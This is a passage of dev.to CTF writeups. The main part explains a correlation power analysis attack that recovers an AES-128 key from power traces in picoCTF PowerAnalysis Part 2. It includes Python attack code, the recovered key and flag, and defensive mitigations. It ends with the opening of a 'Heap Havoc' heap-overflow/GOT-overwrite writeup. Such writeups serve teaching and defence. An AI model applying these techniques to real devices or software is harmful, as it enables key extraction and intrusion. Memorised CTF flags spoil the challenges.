&lt;pre class="highlight plaintext"&gt;&lt;code&gt;For each possible key byte guess k (0x00 to 0xFF = 256 guesses):
  For each of our 100 traces:
    Compute: hypothesis = HW( SBOX[ plaintext_byte XOR k ] )

  Now we have a vector of 100 hypothetical power values.
  Correlate this vector against our 100 actual power measurements
  at each of the 2666 time samples.

  The correct k will produce a HIGH correlation at the exact time
  sample when the CPU was computing that S-Box output.
  Wrong guesses of k will produce near-zero (random) correlation.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is elegant because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We never need to know &lt;em&gt;when&lt;/em&gt; exactly the S-Box is computed — the correlation peak &lt;strong&gt;tells us&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;We test all 256 possibilities and let statistics pick the winner&lt;/li&gt;
&lt;li&gt;Each key byte is recovered &lt;strong&gt;independently&lt;/strong&gt;, so the 128-bit key space (2^128, astronomically large) reduces to &lt;strong&gt;16 × 256 = 4096 guesses&lt;/strong&gt; — trivially small&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3.3 The Attack Code — Full Breakdown
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;glob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;re&lt;/code&gt; — Regular expressions, used for parsing the power trace values out of the bracketed list format&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;glob&lt;/code&gt; — File pattern matching, lets us load all &lt;code&gt;trace*.txt&lt;/code&gt; files elegantly&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;numpy&lt;/code&gt; — Numerical Python. &lt;strong&gt;This is the key tool.&lt;/strong&gt; NumPy lets us operate on entire arrays simultaneously, turning what would be a slow nested Python loop into fast vectorized math.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Why NumPy over plain Python loops?&lt;/strong&gt; A naive Python implementation iterating through all 256 key guesses × 100 traces × 2666 samples would require ~68 million iterations. NumPy's vectorized operations perform this at near-C speed. The difference is seconds vs. potentially hours.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;strong&gt;The AES S-Box:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;SBOX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...]&lt;/span&gt;  &lt;span class="c1"&gt;# 256 values
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the standard AES SubBytes lookup table — publicly known and fixed by the AES standard. There's no need to compute it; we hardcode it. The attacker's advantage is that this table is known, so we can predict what value &lt;em&gt;should&lt;/em&gt; come out for any given &lt;code&gt;(plaintext, key_guess)&lt;/code&gt; pair.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;The Hamming Weight Function:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;bin(v)&lt;/code&gt; — Converts an integer to its binary string representation (e.g., &lt;code&gt;bin(7)&lt;/code&gt; → &lt;code&gt;'0b111'&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.count('1')&lt;/code&gt; — Counts the number of &lt;code&gt;1&lt;/code&gt; bits&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is our &lt;strong&gt;power model&lt;/strong&gt; — the mathematical bridge between the data being processed and the expected power consumption.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Loading the Data:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;traces&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;traces&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;float64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# shape: (100, 2666)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We load all traces into a &lt;strong&gt;2D NumPy array&lt;/strong&gt; with shape &lt;code&gt;(100, 2666)&lt;/code&gt;. Think of this as a spreadsheet where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Each &lt;strong&gt;row&lt;/strong&gt; is one encryption measurement (100 rows = 100 encryptions)&lt;/li&gt;
&lt;li&gt;Each &lt;strong&gt;column&lt;/strong&gt; is one time sample (2666 columns = 2666 moments in time)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using &lt;code&gt;float64&lt;/code&gt; (64-bit floating point) is important because Pearson correlation involves division and subtraction that can lose precision with integer types.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;The Core CPA Loop:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;byte_idx&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;          &lt;span class="c1"&gt;# For each of the 16 key bytes
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;            &lt;span class="c1"&gt;# For each of 256 possible key values
&lt;/span&gt;        &lt;span class="n"&gt;hyp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nf"&gt;hw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SBOX&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;plaintexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;byte_idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; 
                        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;N_traces&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;byte_idx&lt;/code&gt; — Which position in the 16-byte key we are currently attacking (0 through 15)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;k&lt;/code&gt; — Our key byte guess (0 through 255)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;plaintexts[t][byte_idx]&lt;/code&gt; — The &lt;code&gt;byte_idx&lt;/code&gt;-th byte of the plaintext used in trace &lt;code&gt;t&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;^ k&lt;/code&gt; — XOR with our guess (this is what AES does internally before the S-Box)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SBOX[...]&lt;/code&gt; — Look up the S-Box output (the intermediate value the CPU processed)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;hw(...)&lt;/code&gt; — Our power model: convert to Hamming Weight&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This produces &lt;code&gt;hyp&lt;/code&gt;, a vector of 100 values — one predicted power value per trace.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Pearson Correlation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cov&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;traces&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;trace_mean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hyp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;hyp_mean&lt;/span&gt;&lt;span class="p"&gt;)[:,&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;axis&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;corr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cov&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hyp_std&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;trace_std&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;1e-12&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;Pearson correlation coefficient&lt;/strong&gt; measures how linearly related two variables are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Output of &lt;code&gt;+1.0&lt;/code&gt; → Perfect positive correlation&lt;/li&gt;
&lt;li&gt;Output of &lt;code&gt;0.0&lt;/code&gt; → No correlation (random)&lt;/li&gt;
&lt;li&gt;Output of &lt;code&gt;-1.0&lt;/code&gt; → Perfect negative correlation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We take the &lt;strong&gt;absolute value&lt;/strong&gt; because the leakage could be positively or negatively correlated depending on the hardware implementation.&lt;/p&gt;

&lt;p&gt;Breaking down the vectorized math:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;traces - trace_mean&lt;/code&gt; — Centers each column of the trace matrix (subtracts column mean). Shape: &lt;code&gt;(100, 2666)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;hyp - hyp_mean&lt;/code&gt; — Centers our hypothesis vector. Shape: &lt;code&gt;(100,)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;[:, None]&lt;/code&gt; — Reshapes it to &lt;code&gt;(100, 1)&lt;/code&gt; so NumPy can &lt;strong&gt;broadcast&lt;/strong&gt; it across all 2666 columns simultaneously. This is the key efficiency trick.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.mean(axis=0)&lt;/code&gt; — Averages across rows (the 100 traces), giving us one covariance value per time sample. Shape: &lt;code&gt;(2666,)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/ (hyp_std * trace_std)&lt;/code&gt; — Normalizes to get the correlation coefficient. The &lt;code&gt;+ 1e-12&lt;/code&gt; prevents division by zero.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The result &lt;code&gt;corr&lt;/code&gt; is a vector of 2666 correlation values — one per time sample. We take &lt;code&gt;corr.max()&lt;/code&gt; to find the single highest correlation point across all time samples.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Winner Selection:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;max_corr&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;best_corr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;best_corr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;max_corr&lt;/span&gt;
    &lt;span class="n"&gt;best_k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key guess &lt;code&gt;k&lt;/code&gt; that produced the highest peak correlation across all 2666 time samples is declared the winner for that byte position.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.4 Results
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Byte 00: 0xb7  (max_corr=0.6176)
Byte 01: 0x69  (max_corr=0.5610)
Byte 02: 0x8f  (max_corr=0.6953)
...
Byte 15: 0x59  (max_corr=0.6319)

Recovered key: b7698f76b7e524ee7cd80dbde0cdff59
Flag: picoCTF{b7698f76b7e524ee7cd80dbde0cdff59}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All 16 bytes showed correlation values between &lt;strong&gt;0.51 and 0.70&lt;/strong&gt;. In side-channel analysis, any correlation above approximately &lt;strong&gt;0.3&lt;/strong&gt; is considered statistically significant with 100 traces. Values in the 0.5-0.7 range indicate clean, reliable leakage — the attack worked decisively.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.5 The Roads Not Taken — What We Deliberately Avoided
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;This section is crucial. Understanding &lt;em&gt;what not to do&lt;/em&gt; is as important as understanding the solution.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;❌ Brute-Force the AES Key:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AES-128 has a key space of 2^128 ≈ 3.4 × 10^38 possible keys. Even if you could test one billion keys per second, it would take longer than the age of the universe. &lt;strong&gt;This is why AES is used worldwide.&lt;/strong&gt; The math is unbreakable. This path was never viable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;❌ Simple Power Analysis (SPA):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SPA looks at a &lt;em&gt;single&lt;/em&gt; trace and tries to read the key directly from the power waveform by identifying visually distinct operations. This works against some naive RSA implementations where you can see the difference between squaring and multiply operations. Against AES with its repeated, uniform structure and measurement noise, SPA is not effective with limited traces. CPA's statistical approach is far more robust.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;❌ Template Attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Template attacks are more powerful than CPA but require a &lt;em&gt;profiling phase&lt;/em&gt; where the attacker has a clone device they fully control. Since we only had a target device with limited measurements and no profiling capability, template attacks were not applicable here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;❌ Attacking Later AES Rounds:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We targeted the &lt;strong&gt;first round S-Box&lt;/strong&gt; because this is the point where the relationship between our known plaintext and the secret key is simplest: &lt;code&gt;SBOX[plaintext XOR key]&lt;/code&gt;. Attacking later rounds requires knowing partial results from previous rounds, which complicates the hypothesis model significantly. Always start with the first or last round.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;❌ Using All 2666 Time Samples for Selection:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;One might consider averaging across all time samples rather than taking the peak. This would actually dilute the signal — only a small window of samples contains the leakage from the S-Box operation. The peak correlation naturally finds that window.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. "Privilege Escalation" — Scaling the Attack
&lt;/h2&gt;

&lt;p&gt;In traditional CTF writeups, this section covers moving from user to root. In a side-channel context, our equivalent challenge was: &lt;em&gt;"What if 100 traces weren't enough? How would we handle more noise?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The challenge hint warned: &lt;em&gt;"You will need to figure out how to deal with the noise."&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Noise Mitigation Strategies (Ordered by Complexity)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Strategy&lt;/th&gt;
&lt;th&gt;How It Works&lt;/th&gt;
&lt;th&gt;When to Use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;More Traces&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;More data → better statistical signal&lt;/td&gt;
&lt;td&gt;Always the first resort&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Averaging&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Average multiple encryptions of the same plaintext&lt;/td&gt;
&lt;td&gt;When you control the device&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bandpass Filtering&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Remove high/low frequency noise with FFT&lt;/td&gt;
&lt;td&gt;When noise has known frequency characteristics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Principal Component Analysis (PCA)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dimensionality reduction to isolate leakage points&lt;/td&gt;
&lt;td&gt;When traces are very noisy or misaligned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Trace Alignment&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cross-correlate traces to fix timing jitter&lt;/td&gt;
&lt;td&gt;When device has random delays as countermeasure&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In our case, &lt;strong&gt;100 traces with Pearson CPA was sufficient&lt;/strong&gt; because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The leakage model (Hamming Weight of S-Box output) matched the actual hardware leakage well&lt;/li&gt;
&lt;li&gt;The traces were perfectly aligned (no jitter)&lt;/li&gt;
&lt;li&gt;The noise level, while present, was not extreme (correlation peaks still reached 0.5+)&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  5. Lessons Learned &amp;amp; Mitigation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Key Takeaways for Attackers (Blue Team Awareness)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;th&gt;Explanation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Math ≠ Security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AES is mathematically unbreakable, but its &lt;em&gt;physical implementation&lt;/em&gt; is not. Security requires both algorithmic and implementation soundness.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Statistics is a weapon&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pearson correlation across 100 measurements extracted a 128-bit secret. Statistics can defeat randomness when patterns are present.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Known intermediate values are dangerous&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CPA only works because we knew the plaintext. Preventing the attacker from knowing inputs or outputs closes this vector.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;The leakage model is the key insight&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Choosing &lt;code&gt;HW(SBOX[pt XOR k])&lt;/code&gt; as our model was the critical hypothesis. A wrong model would yield zero correlation even with infinite traces.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  5.2 Defensive Mitigations
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;🛡️ Defense 1: Masking (Software Countermeasure)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The most widely deployed defense against CPA is &lt;strong&gt;masking&lt;/strong&gt;. Instead of computing &lt;code&gt;SBOX[plaintext XOR key]&lt;/code&gt; directly, the device computes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;masked_input  = plaintext XOR key XOR random_mask
masked_output = SBOX[masked_input] XOR f(random_mask)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The random mask changes every encryption. Now the attacker's hypothesis &lt;code&gt;HW(SBOX[pt XOR k])&lt;/code&gt; no longer matches the actual intermediate value — the mask randomizes it. CPA correlation drops to zero because the leakage is now uniformly random from the attacker's perspective.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detection for Blue Teams:&lt;/strong&gt; Monitor firmware update mechanisms on embedded devices. Removing or patching masking countermeasures is a common attack vector against hardware security modules (HSMs).&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;🛡️ Defense 2: Hiding (Hardware Countermeasure)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hiding makes it harder to &lt;em&gt;measure&lt;/em&gt; the leakage rather than eliminating the leakage itself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Noise injection circuits&lt;/strong&gt; — Add random electronic noise to the power supply rails&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Clock jitter&lt;/strong&gt; — Randomize the CPU clock slightly so S-Box operations don't always occur at the same time sample, breaking trace alignment&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dual-rail logic&lt;/strong&gt; — Use circuit designs where every operation always switches the same number of transistors regardless of data value (zero Hamming Weight correlation by design)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Blue Team Note:&lt;/strong&gt; Physical security of embedded devices matters. An attacker needs physical access to the power rails to measure traces. Tamper-evident enclosures, potting (encasing in epoxy), and active tamper-response circuits (that zero memory on detection) are practical hardware countermeasures deployed in payment terminals, smart cards, and HSMs.&lt;/p&gt;




&lt;h3&gt;
  
  
  5.3 Real-World Relevance
&lt;/h3&gt;

&lt;p&gt;This attack is not theoretical. CPA has been demonstrated against:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Smart cards&lt;/strong&gt; (credit/debit cards using EMV)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardware Security Modules&lt;/strong&gt; (HSMs used in banking)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automotive ECUs&lt;/strong&gt; (engine control units storing cryptographic keys)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IoT devices&lt;/strong&gt; (smart locks, industrial sensors)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cryptocurrency hardware wallets&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The academic paper that formalized this attack — &lt;em&gt;"Differential Power Analysis"&lt;/em&gt; by Kocher, Jaffe, and Jun (1999) — fundamentally changed how the hardware security industry thought about cryptographic implementations. Every payment card manufactured today includes some form of power analysis countermeasure as a direct result.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This writeup was produced as part of the picoCTF PowerAnalysis: Part 2 challenge. The techniques described are for educational purposes in authorized security research and CTF competitions only.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ctfwriteup</category>
      <category>bugbounty</category>
      <category>infosec</category>
    </item>
    <item>
      <title>CTF Lab Writeup: Heap Havoc</title>
      <dc:creator>Vedant Kulkarni</dc:creator>
      <pubDate>Wed, 03 Jun 2026 08:13:07 +0000</pubDate>
      <link>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-lab-writeup-heap-havoc-25oj</link>
      <guid>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-lab-writeup-heap-havoc-25oj</guid>
      <description>&lt;h2&gt;
  
  
  1. Executive Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; Heap Havoc&lt;br&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Binary Exploitation&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoCTF&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{h34p_0v3rfl0w_ee4e60c2}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This challenge presented a 32-bit Linux ELF binary that accepted two command-line arguments as names. Beneath its innocent surface lay a classic &lt;strong&gt;heap buffer overflow vulnerability&lt;/strong&gt; caused by the unsafe use of &lt;code&gt;strcpy()&lt;/code&gt; into a fixed-size heap-allocated buffer.&lt;/p&gt;

&lt;p&gt;The exploit chain involved:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Overflowing the first heap buffer to &lt;strong&gt;corrupt an adjacent heap pointer&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Weaponizing the program's own second &lt;code&gt;strcpy()&lt;/code&gt; call as a &lt;strong&gt;write-what-where primitive&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Overwriting the &lt;strong&gt;Global Offset Table (GOT)&lt;/strong&gt; entry for &lt;code&gt;puts()&lt;/code&gt; with the address of a hidden &lt;code&gt;winner()&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;Triggering a call to &lt;code&gt;puts()&lt;/code&gt;, which now jumped to &lt;code&gt;winner()&lt;/code&gt; and printed the flag&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Primary Vulnerabilities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unbounded &lt;code&gt;strcpy()&lt;/code&gt; into a heap buffer (no length check)&lt;/li&gt;
&lt;li&gt;Writable GOT due to Partial RELRO&lt;/li&gt;
&lt;li&gt;No stack canary, no PIE — fixed, predictable memory addresses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This writeup is designed to teach you &lt;strong&gt;not just what we did, but exactly why&lt;/strong&gt;, including the dead ends we avoided along the way.&lt;/p&gt;


&lt;h2&gt;
  
  
  2. Reconnaissance &amp;amp; Enumeration
&lt;/h2&gt;
&lt;h3&gt;
  
  
  2.1 Understanding What We're Dealing With — &lt;code&gt;file&lt;/code&gt;
&lt;/h3&gt;

